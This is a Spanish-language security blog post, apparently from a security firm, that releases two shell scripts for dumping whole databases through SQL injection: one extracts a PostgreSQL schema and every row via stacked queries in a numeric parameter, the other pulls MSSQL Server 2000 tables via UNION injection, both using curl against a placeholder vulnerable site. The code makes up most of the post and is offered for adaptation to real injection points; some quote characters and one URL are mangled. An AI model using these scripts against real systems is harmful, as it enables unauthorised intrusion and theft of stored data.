on

Volcando bases de datos mediante el uso de SQL Injection

Sobre los fundamentos de SQL Injection, pocas cosas nuevas pueden decirse. Basta con realizar breves búsquedas en Internet para encontrar información sobre sus principios, su explotación, técnicas de evasión e incluso la automatización en la recuperación de la base de datos. El presente post aborda algunos detalles, útiles para facilitar y automatizar la adquisición de bases de datos subyacentes a un entorno Web, mediante la utilización de SQL Injection.

Existen múltiples herramientas, a disposición pública, que pueden ser útiles de cara a la extracción de información desde la base de datos, algunas de las herramientas, de libre distribución, más utilizadas son:

[table id=1 /]

De todas formas, independientemente del valor aportado por cada herramienta, el número de puntos de inyección de código SQL no detectado, o simplemente no explotable mediante el uso de herramientas genéricas, es muy significativo. Para estos casos, no hay nada como hacérselo uno mismo.

A continuación se liberan algunos scripts, desarrollados “para salir del paso”, que permiten explotar vulnerabilidades de inyección de código SQL y obtener el volcado íntegro de diferentes motores de bases de datos. Cabe destacar que dichos scripts deberán personalizarse para cada punto de inyección que se desee explotar.

Volcado de una base de datos Postgresql, mediante la inyección de código SQL en un parámetro numérico (y por consiguiente, evasión del parseo de comillas).

[sourcecode language=’SQL’]
######################################################
#Volcado de una BBDD basada en PostgreSQL
#mediante la inyección de código SQL
#en un parámetro numérico
#
# https://www.blueliv.com
#
######################################################
#!/bin/sh
>esquema_bbdd.txt
#Número total de filas necesario para obtener el esquema de la BBDD
num_tables=`curl -s –data ‘parametro_vulnerable=1); SELECT count(*) FROM pg_class,pg_attribute WHERE pg_attribute.attrelid=pg_class.oid AND attnum > 0 limit 1 offset 0;–‘ http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F “: ” {‘print $2’} | awk -F “<” {‘print $1’}`
#Obtención del esquema de la base de datos
NUM=0
while [ $NUM -lt $num_tables ]; do
curl -s –data ‘parametro_vulnerable=1); SELECT relname||chr(124)||attname||chr(124)||atttypid FROM pg_class,pg_attribute WHERE pg_attribute.attrelid=pg_class.oid AND attnum > 0 AND atttypid != 16 order by relname limit 1 offset ‘$NUM’;–‘ http://www.www.site_vulnerable.com/file.php | grep palabra_token | awk -F “: ” {‘print $2’} | awk -F “<” {‘print $1’} >> esquema_bbdd.txt
((NUM = NUM + 1))
done
#Obtención del contenido de las tablas, fila a fila, mediante concatenación
for table in `cat esquema_bbdd.txt | awk -F “|” {‘print $1’} | sort -u | grep -v “pg_” | grep -v “pga_”`; do
row=`cat esquema_bbdd.txt | grep $table | awk -F “|” {‘print $2″::text||chr(124)||”‘} | tr -d ‘n’`
row_total=`curl -s –data ‘parametro_vulnerable=1); SELECT count(*) FROM ‘$table’ limit 1;–‘ http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F “: ” {‘print $2’} | awk -F “<” {‘print $1’}`
rownumber=0
echo $table
columns=`echo $row | sed -e ‘s/||chr(124)||/|/g’`
echo $columns
while [ $rownumber -lt $row_total ]; do
row2=`echo $row | sed -e ‘s/||chr(124)||$//’`
valor_fila=`curl -s –data ‘parametro_vulnerable=1); SELECT ‘$row2’ FROM ‘$table’ limit 1 offset ‘$rownumber’;–‘ http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F “: ” {‘print $2’} | awk -F “<” {‘print $1’}`
echo $valor_fila
((rownumber = rownumber + 1))
done
echo “”
sleep 1
done
[/sourcecode]

Volcado de una base de datos MSSQL Server 2000, mediante la inyección de código SQL utilizando el operador UNION.

[sourcecode language=’SQL’]
##############################################################################
#Volcado de las 100 primeras filas de todas las
# tablas de usuario de una BBDD basada en MSSQL Server 2000
#mediante la inyección de código SQL
#utilizando el operador UNION:
#
# https://www.blueliv.com
#
##############################################################################
#!/bin/sh
#>esquema_bbdd_se.txt
>volcado_bbdd_se.csv
>columnas_invalidas_se.txt
#Obtención del esquema de la base de datos
#num_tables=`curl -s –data “parametro_vulnerable=1%27+union+(SELECT (o.name%2B’|’%2Bc.name)+FROM+dbo.syscolumns+c+INNER+JOIN+dbo.sysobjects+o+ON+c.id=o.id+WHERE+o.xtype=’u’)+–” http://www.site_vulnerable/file.php | grep “option value” | awk -F “”” {‘print $2’} > esquema_bbdd_se.txt`
#Obtención del total de filas para cada tabla
for table in `cat esquema_bbdd_se.txt | awk -F “|” {‘print $1’} | sort -u`; do
total_row=`curl -s –data “parámetro_vulnerable=1%27+union+(SELECT count(*) from “$table”)–” http://www.site_vulnerable.com/file.php | grep “palabra_token” | awk -F “”” {‘print $2’}`
echo $table” (“$total_row” registros)”
for column in `cat esquema_bbdd_se.txt | grep ^$table| | awk -F “|” {‘print $2’}`; do
echo -n “$column|”
done
echo “”
query=`cat esquema_bbdd_se.txt | grep ^$table| | awk -F “|” {‘print “cast(coalesce(“$2″,””)+as+varchar)%2B”|”%2B”‘} | tr -d ‘n’`
tam=`cat esquema_bbdd_se.txt | grep ^$table| | awk -F “|” {‘print “cast(coalesce(“$2″,””)+as+varchar)%2B”|”%2B”‘} | tr -d ‘n’ | wc -c`
let tam2=$tam-9
query=`cat esquema_bbdd_se.txt | grep ^$table| | awk -F “|” {‘print “cast(coalesce(“$2″,””)+as+varchar)%2B”|”%2B”‘} | tr -d ‘n’ | cut -b-$tam2`
errores=`curl -s –data “parametro_vulnerable=null%27 union (select top 1 “$query” FROM “$table”)–” http://www.site_vulnerable.com | egrep -i ‘column|Error’`
echo “Error en tabla $table -> $errores” >> columnas_invalidas_se.txt
#Obtenición de las 100 primeras filas de cada tabla
valor_tabla=`curl -s –data “parametro_vulnerable=null%27 union (select top 100 “$query” FROM “$table”)–” http://www.site_vulnerable.com/file.php | grep “option value” | awk -F “”” {‘print $2’}`
echo “$valor_tabla”
echo “”
sleep 1
done
[/sourcecode]

No podría despedirme sin hacer mención al capítulo “Data Validation” del proyecto OWASP donde se puede encontrar información, siempre interesante, sobre los fundamentos de lo anteriormente explicado.

Demo Free Trial Community Newsletter